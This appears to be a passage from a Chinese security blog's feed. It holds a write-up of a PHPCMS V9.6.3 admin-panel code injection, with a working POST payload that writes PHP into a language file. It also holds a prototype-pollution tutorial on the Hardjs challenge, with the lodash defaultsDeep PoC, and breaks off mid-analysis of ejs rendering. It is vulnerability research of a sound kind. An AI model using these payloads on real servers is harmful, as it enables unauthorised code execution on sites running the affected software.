      <category term="反序列化" scheme="http://j0k3r.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
      <category term="ThinkPHP" scheme="http://j0k3r.top/tags/ThinkPHP/"/>
    
  </entry>
  
  <entry>
    <title>PHPCMS V9.6.3 后台一处 RCE</title>
    <link href="http://j0k3r.top/2019/10/09/phpcmsv9.6.3_background_rce/"/>
    <id>http://j0k3r.top/2019/10/09/phpcmsv9.6.3_background_rce/</id>
    <published>2019-10-08T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:07.192Z</updated>
    
    <content type="html"><![CDATA[<p>没想到这个洞撞了。。。</p><a id="more"></a><p>版本与环境</p><p>PHPCMS程序版本：Phpcms V9.6.3 Release 20170515 </p><p>操作系统：Darwin</p><p>服务器软件：ApachePHP/5.6.37</p><p>MySQL 版本：5.7.26</p><p><a href="http://127.0.0.1:9000/index.php?m=member&amp;c=member_menu&amp;a=add&amp;pc_hash=wCuF7w" target="_blank" rel="noopener">http://127.0.0.1:9000/index.php?m=member&amp;c=member_menu&amp;a=add&amp;pc_hash=wCuF7w</a></p><p>dosubmit=1&amp;language=%0a%0d’;//</p><h2 id="一处-phpcms-后台-GetShell"><a href="#一处-phpcms-后台-GetShell" class="headerlink" title="一处 phpcms 后台 GetShell"></a>一处 phpcms 后台 GetShell</h2><p>漏洞代码位于 <code>/phpcms/modules/admin/menu.php</code> 第 81 行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">edit</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'dosubmit'</span>])) &#123;</span><br><span class="line">$id = intval($_POST[<span class="string">'id'</span>]);</span><br><span class="line"><span class="comment">//print_r($_POST['info']);exit;</span></span><br><span class="line">$r = <span class="keyword">$this</span>-&gt;db-&gt;get_one(<span class="keyword">array</span>(<span class="string">'id'</span>=&gt;$id));</span><br><span class="line"><span class="keyword">$this</span>-&gt;db-&gt;update($_POST[<span class="string">'info'</span>],<span class="keyword">array</span>(<span class="string">'id'</span>=&gt;$id));</span><br><span class="line"><span class="comment">//修改语言文件</span></span><br><span class="line">$file = PC_PATH.<span class="string">'languages'</span>.DIRECTORY_SEPARATOR.<span class="string">'zh-cn'</span>.DIRECTORY_SEPARATOR.<span class="string">'system_menu.lang.php'</span>;</span><br><span class="line"><span class="keyword">require</span> $file;</span><br><span class="line">$key = $_POST[<span class="string">'info'</span>][<span class="string">'name'</span>];</span><br><span class="line"><span class="keyword">if</span>(!<span class="keyword">isset</span>($LANG[$key])) &#123;</span><br><span class="line">$content = file_get_contents($file);</span><br><span class="line">$content = substr($content,<span class="number">0</span>,<span class="number">-2</span>);</span><br><span class="line">$data = $content.<span class="string">"\$LANG['$key'] = '$_POST[language]';\r\n?&gt;"</span>;</span><br><span class="line">file_put_contents($file,$data);</span><br><span class="line">&#125; <span class="keyword">elseif</span>(<span class="keyword">isset</span>($LANG[$key]) &amp;&amp; $LANG[$key]!=$_POST[<span class="string">'language'</span>]) &#123;</span><br><span class="line">$content = file_get_contents($file);</span><br><span class="line">$content = str_replace($LANG[$key],$_POST[<span class="string">'language'</span>],$content);</span><br><span class="line">file_put_contents($file,$content);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">$this</span>-&gt;update_menu_models($id, $r, $_POST[<span class="string">'info'</span>]);</span><br><span class="line"><span class="comment">//结束语言文件修改</span></span><br><span class="line">showmessage(L(<span class="string">'operation_success'</span>));</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">.  .  .   .  .  .  </span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码是修改语言文件用的，而这个语言文件就是 /phpcms/languages/zh-cn/system_menu.lang.php</p><p>里面一堆类似 <code>$LANG[&#39;video&#39;] = &#39;视频&#39;;</code> 的东西</p><p>当时用 rips 扫描发现的大多是 <code>$data = $content.&quot;\$LANG[&#39;$key&#39;] = &#39;$_POST[language]&#39;;\r\n?&gt;&quot;;</code> 这种拼接操作，而且 POST 中的单引号会被转义，无法逃逸</p><p>转义代码位于 /phpcms/libs/classes/param.class.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">if</span>(!get_magic_quotes_gpc()) &#123;</span><br><span class="line">$_POST = new_addslashes($_POST);</span><br><span class="line">$_GET = new_addslashes($_GET);</span><br><span class="line">$_REQUEST = new_addslashes($_REQUEST);</span><br><span class="line">$_COOKIE = new_addslashes($_COOKIE);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">. . .   . . . </span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>而这里突然看到一个 str_replace ， <code>str_replace($LANG[$key],$_POST[&#39;language&#39;],$content)</code>，感觉可能会有漏洞</p><p>一番胡乱测试之后惊奇的发现网站 500 了，细看原来是单引号逃逸导致报错</p><p>下面是漏洞分析过程</p><p>首先要登录后台拿到 pc_hash 的值，这个是防止提交恶意数据的，后台首页 F12 就能看到</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/phpcmsv9.6.3_background_rce.assets/wzFMlLcQSB4qAve.png" alt></p><p>然后访问：</p><p><code>http://127.0.0.1:9000/index.php?m=admin&amp;c=menu&amp;a=edit&amp;pc_hash=wCuF7w</code></p><p>phpcms 的路由和那个 yzmcms 差不多，m 是模块名，对应 /phpcms 下的文件夹，c 是控制器名，对应 /phpcms/模块/ 下的 php 文件名，a    则对应控制器类的类函数名</p><p>发送 POST 请求：</p><p><code>dosubmit=1&amp;info[name]=1&amp;language=1</code></p><p>语言文件最后会新添内容</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$LANG[<span class="string">'1'</span>] = <span class="string">'1'</span>;</span><br></pre></td></tr></table></figure><h3 id="第一次"><a href="#第一次" class="headerlink" title="第一次"></a>第一次</h3><p>发送 POST 请求：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dosubmit=1&amp;info[name]=1&amp;language=1&apos;</span><br></pre></td></tr></table></figure><p><code>require $file;</code> 引入语言文件，<code>$LANG[$key]</code> 的值还是 NULL，所以执行拼接操作</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$data = $content.<span class="string">"\$LANG['$key'] = '$_POST[language]';\r\n?&gt;"</span>;</span><br><span class="line">file_put_contents($file,$data);</span><br></pre></td></tr></table></figure><p>得到语言文件新添内容为</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$LANG[<span class="string">'1'</span>] = <span class="string">'1\''</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="第二次"><a href="#第二次" class="headerlink" title="第二次"></a>第二次</h3><p>发送与第一次相同的 POST 请求</p><p><code>require $file;</code> 引入语言文件得到 <code>$LANG[$key]</code> 的值是 <code>string(2) &quot;1&#39;&quot;</code>，也就是说，没有反斜杠，这样问题就出现了，我们同样的请求发送了两次，按照代码逻辑来看，是不应该更新 <code>$LANG[$key]</code> 的值的</p><p>但是因为 <code>require</code> 和 <code>file_get_contents</code> 函数读取之后的文件内容不含反斜杠，而我们 POST 传入的 language 会被转义处理得到的值是 <code>string(3) &quot;1\&#39;&quot;</code></p><p>于是判断 <code>$LANG[$key]!=$_POST[&#39;language&#39;]</code> 就成立了，接着 <code>str_replace</code> 函数进行字符串替换操作，把原来的 <code>$LANG[&#39;1&#39;] = &#39;1\&#39;&#39;;</code> 中的 <code>1&#39;</code> 替换成 <code>1\&#39;</code>，最终写入文件</p><p>结果就得到了以下文件内容，第二个单引号被反斜杠转义，无法闭合</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$LANG[<span class="string">'1\'] = '</span><span class="number">1</span>\<span class="string">''</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>payload:</p><p>发送两次以下请求，访问语言文件 <a href="http://127.0.0.1:9000/phpcms/languages/zh-cn/system_menu.lang.php" target="_blank" rel="noopener">http://127.0.0.1:9000/phpcms/languages/zh-cn/system_menu.lang.php</a> 即可得到 phpinfo</p><p>URL:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:9000/index.php?m=admin&amp;c=menu&amp;a=edit&amp;pc_hash=wCuF7w</span><br></pre></td></tr></table></figure><p>POST:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dosubmit=1&amp;info[name]=];phpinfo();//1&amp;language=];phpinfo();//1&apos;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/phpcmsv9.6.3_background_rce.assets/K35MzBryDITZedu.png" alt></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;没想到这个洞撞了。。。&lt;/p&gt;
    
    </summary>
    
    
      <category term="PHP" scheme="http://j0k3r.top/tags/PHP/"/>
    
      <category term="代码审计" scheme="http://j0k3r.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>JavaScript 原型链污染 (Prototype Pollution) &amp;&amp; Hardjs 复现与分析</title>
    <link href="http://j0k3r.top/2019/09/10/js_prototype_pollution/"/>
    <id>http://j0k3r.top/2019/09/10/js_prototype_pollution/</id>
    <published>2019-09-09T16:00:00.000Z</published>
    <updated>2020-03-26T11:17:21.312Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="0x01-基本知识"><a href="#0x01-基本知识" class="headerlink" title="0x01 基本知识"></a>0x01 基本知识</h2><p>在 JavaScript 中有一点与 Python 一样，那就是 “一切皆对象”</p><p>对象的定义：</p><p><strong>1.</strong> 直接定义一个对象</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/H2bGIxaKB9tNlgO.png" alt></p><p>这种方式无需使用类模版，也就是类似以下这种定义：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Object</span><span class="params">()</span>:</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">Ob1 = Object()</span><br><span class="line">Ob2 = Object()</span><br></pre></td></tr></table></figure><p><strong>2.</strong> 使用构造函数定义类模版</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/fqEeP2kwoOizurJ.png" alt></p><p>这样方便批量实例化对象</p><p>对象的属性通过<strong>方括号</strong>或<strong><code>.</code></strong>来访问</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/oajI5NRqYOyn4bJ.png" alt></p><h3 id="prototype-原型"><a href="#prototype-原型" class="headerlink" title="prototype (原型)"></a>prototype (原型)</h3><p>在 ES4 中对 prototype 有这样的描述：</p><blockquote><p>每个类对象都有一个常量属性原型，它保存对作为<strong><em>类实例原型的对象</em></strong>的引用，并且每个实例都有一个隐藏的引用到它的原型。原型包含在引用它的所有对象之间共享的值。对象原型上的属性在偶然观察者看来是对象本身的属性：从对象中读取属性将在原型中找到属性（如果在那里定义而不是在对象中）。(Google 翻译)</p></blockquote><p>举个例子：这里我整一个 Array 对象 a1，并给它一个 sum 方法求和</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/zP64AyKrVe7qScD.png" alt></p><p>能看到 <code>a1.sum()</code> 顺利求和，而同为 Array 对象的 a2 确不行，如果要让所有的 Array 对象都能够拥有 sum 求和方法怎么办，可以通过修改 Array 的原型来实现，添加一个 <code>Array.prototype.sum</code> 即可</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/2kMArnTQ4RJgpDU.png" alt></p><p>这样应该就很好理解原型了，可以将其看作是 CSS 里面的 class，修改了 class 后，所有使用该 class 的 html 元素的样式都会被改变，无须对每个元素用 style 了</p><h3 id="proto"><a href="#proto" class="headerlink" title="__proto__"></a><code>__proto__</code></h3><p><strong><em>对象<code>__proto__</code>属性的值就是它所对应的原型对象</em></strong></p><p>因为所有实例对象都拥有一个 <code>__proto__</code>，用于访问其原型对象，而原型对象又引出它的原型对象, 这么一层层的调用下来就构成了 “原型链”</p><p>接着上面的例子，调用到最后没有了原型对象便是 <code>NULL</code> 了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/LtPQh8GWOSdmTUy.png" alt></p><p>创建函数时，JS 会为这个函数自动添加 prototype 属性，值是一个有 constructor 属性的对象。而一旦你把这个函数当作构造函数（constructor）调用（即通过new关键字调用），那么 JS 就会帮你创建该构造函数的实例，实例继承构造函数 prototype 的所有属性和方法（实例通过设置自己的 <code>__proto__</code> 指向构造函数的 prototype 来实现这种继承）</p><p>使用 <code>__proto__</code> 修改原型属性示例</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/jevcdxBlgP29kSa.png" alt></p><h2 id="0x02-Hardjs"><a href="#0x02-Hardjs" class="headerlink" title="0x02 Hardjs"></a>0x02 Hardjs</h2><p>在安装好依赖后，使用 <code>npm audit</code> 检测依赖有没有漏洞 ，报错的可以试下挂个代理用 proxychains4 后面再加上 <code>--registry=https://registry.npmjs.org</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/7nxjiz1TuJg4hAH.png" alt></p><p>检测到了 lodash 的一个原型链污染漏洞</p><p>在源码到第 182 行调用了 lodash</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">app.get(<span class="string">"/get"</span>,auth,<span class="keyword">async</span> <span class="function"><span class="keyword">function</span>(<span class="params">req,res,next</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> userid = req.session.userid ; </span><br><span class="line">    <span class="keyword">var</span> sql = <span class="string">"select count(*) count from `html` where userid= ?"</span></span><br><span class="line">    <span class="comment">// var sql = "select `dom` from  `html` where userid=? ";</span></span><br><span class="line">    <span class="keyword">var</span> dataList = <span class="keyword">await</span> query(sql,[userid]);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(dataList[<span class="number">0</span>].count == <span class="number">0</span> )&#123;</span><br><span class="line">        res.json(&#123;&#125;)</span><br><span class="line"></span><br><span class="line">    &#125;<span class="keyword">else</span> <span class="keyword">if</span>(dataList[<span class="number">0</span>].count &gt; <span class="number">5</span>) &#123; <span class="comment">// if len &gt; 5 , merge all and update mysql</span></span><br><span class="line">        </span><br><span class="line">        <span class="built_in">console</span>.log(<span class="string">"Merge the recorder in the database."</span>); </span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> sql = <span class="string">"select `id`,`dom` from  `html` where userid=? "</span>;</span><br><span class="line">        <span class="keyword">var</span> raws = <span class="keyword">await</span> query(sql,[userid]);</span><br><span class="line">        <span class="keyword">var</span> doms = &#123;&#125;</span><br><span class="line">        <span class="keyword">var</span> ret = <span class="keyword">new</span> <span class="built_in">Array</span>(); </span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;raws.length ;i++)&#123;</span><br><span class="line">            lodash.defaultsDeep(doms,<span class="built_in">JSON</span>.parse( raws[i].dom ));</span><br><span class="line"></span><br><span class="line">            <span class="keyword">var</span> sql = <span class="string">"delete from `html` where id = ?"</span>;</span><br><span class="line">            <span class="keyword">var</span> result = <span class="keyword">await</span> query(sql,raws[i].id);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">var</span> sql = <span class="string">"insert into `html` (`userid`,`dom`) values (?,?) "</span>;</span><br><span class="line">        <span class="keyword">var</span> result = <span class="keyword">await</span> query(sql,[userid, <span class="built_in">JSON</span>.stringify(doms) ]);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(result.affectedRows &gt; <span class="number">0</span>)&#123;</span><br><span class="line">            ret.push(doms);</span><br><span class="line">            res.json(ret);</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            res.json([&#123;&#125;]);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;<span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">. . .  . . . </span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>从 package.json 能看到 lodash 版本为 4.17.11，对应漏洞 CVE-2019-10744，可以利用函数 defaultsDeep 添加或修改 Object.prototype 的属性，漏洞 PoC</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> mergeFn = <span class="built_in">require</span>(<span class="string">'lodash'</span>).defaultsDeep;</span><br><span class="line"><span class="keyword">const</span> payload = <span class="string">'&#123;"constructor": &#123;"prototype": &#123;"a0": true&#125;&#125;&#125;'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    mergeFn(&#123;&#125;, <span class="built_in">JSON</span>.parse(payload));</span><br><span class="line">    <span class="keyword">if</span> ((&#123;&#125;)[<span class="string">`a0`</span>] === <span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="built_in">console</span>.log(<span class="string">`Vulnerable to Prototype Pollution via <span class="subst">$&#123;payload&#125;</span>`</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">check();</span><br></pre></td></tr></table></figure><p>这里明显就是将构造好的 Payload 数据插入多次，然后访问 /get 即可触发原型链污染，问题是要污染什么地方</p><p>从一开始就引入了 ejs 来渲染模版，那么从 <code>res.render(&#39;index&#39;);</code> 开始分析，Goto Definition 转到定义</p><p>/node_modules/express/lib/response.js</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">res.render = <span class="function"><span class="keyword">function</span> <span class="title">render</span>(<span class="params">view, options, callback</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">var</span> app = <span class="keyword">this</span>.req.app;</span><br><span class="line">  <span class="keyword">var</span> done = callback;</span><br><span class="line">  <span class="keyword">var</span> opts = options || &#123;&#125;;</span><br><span class="line">  <span class="keyword">var</span> req = <span class="keyword">this</span>.req;</span><br><span class="line">  <span class="keyword">var</span> self = <span class="keyword">this</span>;</span><br><span class="line"></span><br><span class="line"> . . .  . . . </span><br><span class="line"></span><br><span class="line">  <span class="comment">// render</span></span><br><span class="line">  app.render(view, opts, done);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>调用了 app.render，继续跟</p><p>/node_modules/express/lib/application.js</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">app.render = <span class="function"><span class="keyword">function</span> <span class="title">render</span>(<span class="params">name, options, callback</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">var</span> cache = <span class="keyword">this</span>.cache;</span><br><span class="line">  <span class="keyword">var</span> done = callback;</span><br><span class="line">  <span class="keyword">var</span> engines = <span class="keyword">this</span>.engines;</span><br><span class="line">  <span class="keyword">var</span> opts = options;</span><br><span class="line">  <span class="keyword">var</span> renderOptions = &#123;&#125;;</span><br><span class="line">  <span class="keyword">var</span> view;</span><br><span class="line"></span><br><span class="line"> . . .   . . .</span><br><span class="line"></span><br><span class="line">  <span class="comment">// render</span></span><br><span class="line">  tryRender(view, renderOptions, done);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>tryRender 同样位于 application.js</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">tryRender</span>(<span class="params">view, options, callback</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    view.render(options, callback);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">    callback(err);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进 view.render </p><p>/node_modules/express/lib/view.js</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">View.prototype.render = function render(options, callback) &#123;</span><br><span class="line">  debug(&apos;render &quot;%s&quot;&apos;, this.path);</span><br><span class="line">  this.engine(this.path, options, callback);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>开始调用模版渲染引擎，这里会根据模版文件后缀自动调用相应的模块，如 View 中有关代码</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// load engine</span></span><br><span class="line"><span class="keyword">var</span> mod = <span class="keyword">this</span>.ext.substr(<span class="number">1</span>)</span><br><span class="line">debug(<span class="string">'require "%s"'</span>, mod)</span><br><span class="line"></span><br><span class="line"><span class="comment">// default engine export</span></span><br><span class="line"><span class="keyword">var</span> fn = <span class="built_in">require</span>(mod).__express</span><br></pre></td></tr></table></figure><p>注意这个默认引擎出口 <code>var fn = require(mod).__express</code>，在 ejs.js 914 行有定义 <code>exports.__express = exports.renderFile;</code>，也就是默认使用 renderFile 函数</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">exports.renderFile = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">var</span> args = <span class="built_in">Array</span>.prototype.slice.call(<span class="built_in">arguments</span>);</span><br><span class="line">  <span class="keyword">var</span> filename = args.shift();</span><br><span class="line">  <span class="keyword">var</span> cb;</span><br><span class="line">  <span class="keyword">var</span> opts = &#123;<span class="attr">filename</span>: filename&#125;;</span><br><span class="line">  <span class="keyword">var</span> data;</span><br><span class="line">  <span class="keyword">var</span> viewOpts;</span><br><span class="line">  </span><br><span class="line">. . .  . . . </span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> tryHandleCache(opts, data, cb);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>接着调用 tryHandleCache 函数</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">tryHandleCache</span>(<span class="params">options, data, cb</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">var</span> result;</span><br><span class="line">  <span class="keyword">if</span> (!cb) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">typeof</span> exports.promiseImpl == <span class="string">'function'</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> exports.promiseImpl(<span class="function"><span class="keyword">function</span> (<span class="params">resolve, reject</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">          result = handleCache(options)(data);</span><br><span class="line">          resolve(result);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">          reject(err);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'Please provide a callback function'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      result = handleCache(options)(data);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="keyword">return</span> cb(err);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    cb(<span class="literal">null</span>, result);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>大体就是经过 handleCache 函数处理后返回最终的页面</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">handleCache</span>(<span class="params">options, template</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">var</span> func;</span><br><span class="line">  <span class="keyword">var</span> filename = options.filename;</span><br><span class="line">  <span class="keyword">var</span> hasTemplate = <span class="built_in">arguments</span>.length &gt; <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">  . . .   . . . </span><br><span class="line"></span><br><span class="line">  func = exports.compile(template, options);</span><br><span class="line">  <span class="keyword">if</span> (options.cache) &#123;</span><br><span class="line">    exports.cache.set(filename, func);</span><br><span class="line">  